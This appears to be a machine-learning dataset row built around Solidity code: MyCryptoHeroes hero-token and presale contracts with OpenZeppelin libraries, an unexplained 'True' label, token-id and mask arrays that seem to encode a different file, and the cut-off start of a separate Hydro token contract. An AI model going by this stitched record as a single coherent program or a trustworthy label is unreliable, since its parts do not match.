// File: contracts/HeroAsset.sol
contract HeroAsset is ERC721Mintable, ERC721Pausable {
uint16 public constant HERO_TYPE_OFFSET = 10000;
string public tokenURIPrefix = "https://www.mycryptoheroes.net/metadata/hero/";
mapping(uint16 => uint16) private heroTypeToSupplyLimit;
constructor() public ERC721Full("MyCryptoHeroes:Hero", "MCHH") {}
function setSupplyLimit(uint16 _heroType, uint16 _supplyLimit) external onlyMinter {
require(heroTypeToSupplyLimit[_heroType] == 0 || _supplyLimit < heroTypeToSupplyLimit[_heroType],
"_supplyLimit is bigger");
heroTypeToSupplyLimit[_heroType] = _supplyLimit;
}
function setTokenURIPrefix(string _tokenURIPrefix) external onlyMinter {
tokenURIPrefix = _tokenURIPrefix;
}
function getSupplyLimit(uint16 _heroType) public view returns (uint16) {
return heroTypeToSupplyLimit[_heroType];
}
function mintHeroAsset(address _owner, uint256 _tokenId) public onlyMinter {
uint16 _heroType = uint16(_tokenId / HERO_TYPE_OFFSET);
uint16 _heroTypeIndex = uint16(_tokenId % HERO_TYPE_OFFSET) - 1;
require(_heroTypeIndex < heroTypeToSupplyLimit[_heroType], "supply over");
_mint(_owner, _tokenId);
}
function tokenURI(uint256 tokenId) public view returns (string) {
bytes32 tokenIdBytes;
if (tokenId == 0) {
tokenIdBytes = "0";
} else {
uint256 value = tokenId;
while (value > 0) {
tokenIdBytes = bytes32(uint256(tokenIdBytes) / (2 ** 8));
tokenIdBytes |= bytes32(((value % 10) + 48) * 2 ** (8 * 31));
value /= 10;
}
}
bytes memory prefixBytes = bytes(tokenURIPrefix);
bytes memory tokenURIBytes = new bytes(prefixBytes.length + tokenIdBytes.length);
uint8 i;
uint8 index = 0;
for (i = 0; i < prefixBytes.length; i++) {
tokenURIBytes[index] = prefixBytes[i];
index++;
}
for (i = 0; i < tokenIdBytes.length; i++) {
tokenURIBytes[index] = tokenIdBytes[i];
index++;
}
return string(tokenURIBytes);
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>, Eenae <[email protected]>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter = 1;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one `nonReentrant` function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and an `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
// File: contracts/HeroPresale.sol
contract HeroPresale is Ownable, Pausable, ReentrancyGuard {
using SafeMath for uint256;
struct HeroSale {
uint128 highestPrice;
uint128 previousPrice;
uint128 priceIncreaseTo;
uint64 since;
uint64 until;
uint64 previousSaleAt;
uint16 lowestPriceRate;
uint16 decreaseRate;
uint16 supplyLimit;
uint16 suppliedCounts;
uint8 currency;
bool exists;
}
mapping(uint16 => HeroSale) public heroTypeToHeroSales;
mapping(uint16 => uint256[]) public heroTypeIds;
mapping(uint16 => mapping(address => bool)) public hasAirDropHero;
ERC20 public coin;
HeroAsset public heroAsset;
uint16 constant internal SUPPLY_LIMIT_MAX = 10000;
event AddSalesEvent(
uint16 indexed heroType,
uint128 startPrice,
uint256 lowestPrice,
uint256 becomeLowestAt
);
event SoldHeroEvent(
uint16 indexed heroType,
uint256 soldPrice,
uint64 soldAt,
uint256 priceIncreaseTo,
uint256 lowestPrice,
uint256 becomeLowestAt,
address purchasedBy,
address indexed code,
uint8 currency
);
function setHeroAssetAddress(address _heroAssetAddress) external onlyOwner() {
heroAsset = HeroAsset(_heroAssetAddress);
}
function setCoinAddress(ERC20 _coinAddress) external onlyOwner() {
coin = _coinAddress;
}
function withdrawEther() external onlyOwner() {
owner().transfer(address(this).balance);
}
function withdrawEMONT() external onlyOwner() {
uint256 emontBalance = coin.balanceOf(this);
coin.approve(address(this), emontBalance);
coin.transferFrom(address(this), msg.sender, emontBalance);
}
function addSales(
uint16 _heroType,
uint128 _startPrice,
uint16 _lowestPriceRate,
uint16 _decreaseRate,
uint64 _since,
uint64 _until,
uint16 _supplyLimit,
uint8 _currency
) external onlyOwner() {
require(!heroTypeToHeroSales[_heroType].exists, "this heroType is already added sales");
require(0 <= _lowestPriceRate && _lowestPriceRate <= 100, "lowestPriceRate should be between 0 and 100");
require(1 <= _decreaseRate && _decreaseRate <= 100, "decreaseRate should be should be between 1 and 100");
require (_until > _since, "until should be later than since");
HeroSale memory _herosale = HeroSale({
highestPrice: _startPrice,
previousPrice: _startPrice,
priceIncreaseTo: _startPrice,
since:_since,
until:_until,
previousSaleAt: _since,
lowestPriceRate: _lowestPriceRate,
decreaseRate: _decreaseRate,
supplyLimit:_supplyLimit,
suppliedCounts: 0,
currency: _currency,
exists: true
});
heroTypeToHeroSales[_heroType] = _herosale;
heroAsset.setSupplyLimit(_heroType, _supplyLimit);
uint256 _lowestPrice = uint256(_startPrice).mul(_lowestPriceRate).div(100);
uint256 _becomeLowestAt = uint256(86400).mul(uint256(100).sub(_lowestPriceRate)).div(_decreaseRate).add(_since);
emit AddSalesEvent(
_heroType,
_startPrice,
_lowestPrice,
_becomeLowestAt
);
}
function purchase(uint16 _heroType, address _code) external whenNotPaused() nonReentrant() payable {
// solium-disable-next-line security/no-block-members
return purchaseImpl(_heroType, uint64(block.timestamp), _code);
}
function purchaseByEMONT(uint16 _heroType, uint256 _price, address _code) external whenNotPaused() {
// solium-disable-next-line security/no-block-members
return purchaseByEMONTImpl(_heroType, _price, uint64(block.timestamp), _code);
}
function airDrop(uint16 _heroType) external whenNotPaused() {
HeroSale storage heroSales = heroTypeToHeroSales[_heroType];
require(airDropHero(_heroType), "currency is not 2 (airdrop)");
require(!hasAirDropHero[_heroType][msg.sender]);
uint64 _at = uint64(block.timestamp);
require(isOnSale(_heroType, _at), "out of sales period");
createHero(_heroType, msg.sender);
hasAirDropHero[_heroType][msg.sender] = true;
heroSales.suppliedCounts++;
heroSales.previousSaleAt = _at;
emit SoldHeroEvent(
_heroType,
1,
_at,
1,
1,
1,
msg.sender,
0x0000000000000000000000000000000000000000,
2
);
}
function computeCurrentPrice(uint16 _heroType) external view returns (uint8, uint256){
// solium-disable-next-line security/no-block-members
return computeCurrentPriceImpl(_heroType, uint64(block.timestamp));
}
function canBePurchasedByETH(uint16 _heroType) internal view returns (bool){
return (heroTypeToHeroSales[_heroType].currency == 0);
}
function canBePurchasedByEMONT(uint16 _heroType) internal view returns (bool){
return (heroTypeToHeroSales[_heroType].currency == 1);
}
function airDropHero(uint16 _heroType) internal view returns (bool){
return (heroTypeToHeroSales[_heroType].currency == 2);
}
function isOnSale(uint16 _heroType, uint64 _now) internal view returns (bool){
HeroSale storage heroSales = heroTypeToHeroSales[_heroType];
require(heroSales.exists, "not exist sales of this heroType");
if (heroSales.since <= _now && _now <= heroSales.until) {
return true;
} else {
return false;
}
}
function computeCurrentPriceImpl(uint16 _heroType, uint64 _at) internal view returns (uint8, uint256) {
HeroSale storage heroSales = heroTypeToHeroSales[_heroType];
require(heroSales.exists, "not exist sales of this heroType");
require(heroSales.previousSaleAt < _at, "current timestamp should be later than previousSaleAt");
uint256 _lowestPrice = uint256(heroSales.highestPrice).mul(heroSales.lowestPriceRate).div(100);
uint256 _secondsPassed = uint256(_at).sub(heroSales.previousSaleAt);
uint256 _decreasedPrice = uint256(heroSales.priceIncreaseTo).mul(_secondsPassed).mul(heroSales.decreaseRate).div(100).div(86400);
uint256 currentPrice;
if (uint256(heroSales.priceIncreaseTo).sub(_lowestPrice) > _decreasedPrice){
currentPrice = uint256(heroSales.priceIncreaseTo).sub(_decreasedPrice);
} else {
currentPrice = _lowestPrice;
}
return (1, currentPrice);
}
function purchaseImpl(uint16 _heroType, uint64 _at, address code)
internal
{
HeroSale storage heroSales = heroTypeToHeroSales[_heroType];
require(canBePurchasedByETH(_heroType), "currency is not 0 (eth)");
require(isOnSale(_heroType, _at), "out of sales period");
(,uint256 _price) = computeCurrentPriceImpl(_heroType, _at);
require(msg.value >= _price, "value is less than the price");
createHero(_heroType, msg.sender);
if (msg.value > _price){
msg.sender.transfer(msg.value.sub(_price));
}
heroSales.previousPrice = uint128(_price);
heroSales.suppliedCounts++;
heroSales.previousSaleAt = _at;
if (heroSales.previousPrice > heroSales.highestPrice){
heroSales.highestPrice = heroSales.previousPrice;
}
uint256 _priceIncreaseTo;
uint256 _lowestPrice;
uint256 _becomeLowestAt;
if(heroSales.supplyLimit > heroSales.suppliedCounts){
_priceIncreaseTo = SafeMath.add(_price, _price.div((uint256(heroSales.supplyLimit).sub(heroSales.suppliedCounts))));
heroSales.priceIncreaseTo = uint128(_priceIncreaseTo);
_lowestPrice = uint256(heroSales.lowestPriceRate).mul(heroSales.highestPrice).div(100);
_becomeLowestAt = uint256(86400).mul(100).mul((_priceIncreaseTo.sub(_lowestPrice))).div(_priceIncreaseTo).div(heroSales.decreaseRate).add(_at);
} else {
_priceIncreaseTo = heroSales.previousPrice;
heroSales.priceIncreaseTo = uint128(_priceIncreaseTo);
_lowestPrice = heroSales.previousPrice;
_becomeLowestAt = _at;
}
address Invitees;
if (code == msg.sender){
Invitees = address(0x0);
} else {
Invitees = code;
}
emit SoldHeroEvent(
_heroType,
_price,
_at,
_priceIncreaseTo,
_lowestPrice,
_becomeLowestAt,
msg.sender,
Invitees,
0
);
}
function purchaseByEMONTImpl(uint16 _heroType, uint256 _inputPrice, uint64 _at, address _code)
internal
{
HeroSale storage heroSales = heroTypeToHeroSales[_heroType];
require(canBePurchasedByEMONT(_heroType), "currency is not 1 (EMONT)");
require(isOnSale(_heroType, _at), "out of sales period");
(,uint256 _price) = computeCurrentPriceImpl(_heroType, _at);
require(_inputPrice > _price, "input price is not more than actual price");
createHero(_heroType, msg.sender);
coin.transferFrom(msg.sender, address(this), _price);
heroSales.previousPrice = uint128(_price);
heroSales.suppliedCounts++;
heroSales.previousSaleAt = _at;
if (heroSales.previousPrice > heroSales.highestPrice){
heroSales.highestPrice = heroSales.previousPrice;
}
uint256 _priceIncreaseTo;
uint256 _lowestPrice;
uint256 _becomeLowestAt;
if(heroSales.supplyLimit > heroSales.suppliedCounts){
_priceIncreaseTo = SafeMath.add(_price, _price.div((uint256(heroSales.supplyLimit).sub(heroSales.suppliedCounts))));
heroSales.priceIncreaseTo = uint128(_priceIncreaseTo);
_lowestPrice = uint256(heroSales.lowestPriceRate).mul(heroSales.highestPrice).div(100);
_becomeLowestAt = uint256(86400).mul(100).mul((_priceIncreaseTo.sub(_lowestPrice))).div(_priceIncreaseTo).div(heroSales.decreaseRate).add(_at);
} else {
_priceIncreaseTo = heroSales.previousPrice;
heroSales.priceIncreaseTo = uint128(_priceIncreaseTo);
_lowestPrice = heroSales.previousPrice;
_becomeLowestAt = _at;
}
address Invitees;
if (_code == msg.sender){
Invitees = address(0x0);
} else {
Invitees = _code;
}
emit SoldHeroEvent(
_heroType,
_price,
_at,
_priceIncreaseTo,
_lowestPrice,
_becomeLowestAt,
msg.sender,
Invitees,
1
);
}
function createHero(uint16 _heroType, address _owner) internal {
require(heroTypeToHeroSales[_heroType].exists, "not exist sales of this heroType");
require(heroTypeIds[_heroType].length < heroTypeToHeroSales[_heroType].supplyLimit, "Heroes cant be created more than supplyLimit");
uint256 _heroId = uint256(_heroType).mul(SUPPLY_LIMIT_MAX).add(heroTypeIds[_heroType].length).add(1);
heroTypeIds[_heroType].push(_heroId);
heroAsset.mintHeroAsset(_owner, _heroId);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1013,
5371,
1024,
8311,
1013,
5622,
2497,
1013,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
3229,
1013,
4395,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
2516,
4395,
1008,
1030,
16475,
3075,
2005,
6605,
11596,
4137,
2000,
1037,
2535,
1012,
1008,
1013,
3075,
4395,
1063,
2358,
6820,
6593,
2535,
1063,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
20905,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
2507,
2019,
4070,
3229,
2000,
2023,
2535,
1008,
1013,
3853,
5587,
1006,
2535,
5527,
2535,
1010,
4769,
4070,
1007,
4722,
1063,
5478,
1006,
4070,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
2535,
1012,
20905,
1031,
4070,
1033,
1027,
2995,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
6366,
2019,
4070,
1005,
1055,
3229,
2000,
2023,
2535,
1008,
1013,
3853,
6366,
1006,
2535,
5527,
2535,
1010,
4769,
4070,
1007,
4722,
1063,
5478,
1006,
4070,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
2535,
1012,
20905,
1031,
4070,
1033,
1027,
6270,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4638,
2065,
2019,
4070,
2038,
2023,
2535,
1008,
1030,
2709,
22017,
2140,
1008,
1013,
3853,
2038,
1006,
2535,
5527,
2535,
1010,
4769,
4070,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
5478,
1006,
4070,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
2709,
2535,
1012,
20905,
1031,
4070,
1033,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
8311,
1013,
5622,
2497,
1013,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
3229,
1013,
4395,
1013,
12927,
2121,
13153,
2063,
1012,
14017,
3206,
12927,
2121,
13153,
2063,
1063,
2478,
4395,
2005,
4395,
1012,
2535,
1025,
2724,
12927,
6906,
19520,
1006,
4769,
25331,
4070,
1007,
1025,
2724,
12927,
28849,
5302,
7178,
1006,
4769,
25331,
4070,
1007,
1025,
4395,
1012,
2535,
2797,
12927,
2545,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
12927,
2545,
1012,
5587,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1025,
1065,
16913,
18095,
2069,
10020,
3334,
1006,
1007,
1063,
5478,
1006,
2003,
10020,
3334,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1007,
1025,
1035,
1025,
1065,
3853,
2003,
10020,
3334,
1006,
4769,
4070,
1007,
2270,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
12927,
2545,
1012,
2038,
1006,
4070,
1007,
1025,
1065,
3853,
5587,
10020,
3334,
1006,
4769,
4070,
1007,
2270,
2069,
10020,
3334,
1063,
12927,
2545,
1012,
5587,
1006,
4070,
1007,
1025,
12495,
2102,
12927,
6906,
19520,
1006,
4070,
1007,
1025,
1065,
3853,
17738,
17457,
10020,
3334,
1006,
1007,
2270,
1063,
12927,
2545,
1012,
6366,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1025,
1065,
3853,
1035,
6366,
10020,
3334,
1006,
4769,
4070,
1007,
4722,
1063,
12927,
2545,
1012,
6366,
1006,
4070,
1007,
1025,
12495,
2102,
12927,
28849,
5302,
7178,
1006,
4070,
1007,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
8311,
1013,
5622,
2497,
1013,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
2516,
29464,
11890,
16048,
2629,
1008,
1030,
16475,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
//////////////////////////////////////////
// PROJECT HYDRO
// Multi Chain Token
//////////////////////////////////////////
pragma solidity ^0.6.0;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface Raindrop {
function authenticate(address _sender, uint _value, uint _challenge, uint _partnerId) external;
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract HydroToken is Ownable,IERC20 {
using SafeMath for uint256;
string public _name;
string public _symbol;
uint8 public _decimals; // Number of decimals of the smallest unit
uint public _totalSupply;
address public raindropAddress;
uint256 ratio;
uint256 public MAX_BURN= 100000000000000000; //0.1 hydro tokens
mapping (address => uint256) public balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) public allowed;
mapping(address=>bool) public whitelistedDapps; //dapps that can burn tokens
//makes sure only dappstore apps can burn tokens
modifier onlyFromDapps(address _dapp){
require(whitelistedDapps[msg.sender]==true,'Hydro: Burn error');
_;
}
event dappBurned(address indexed _dapp, uint256 _amount );
////////////////
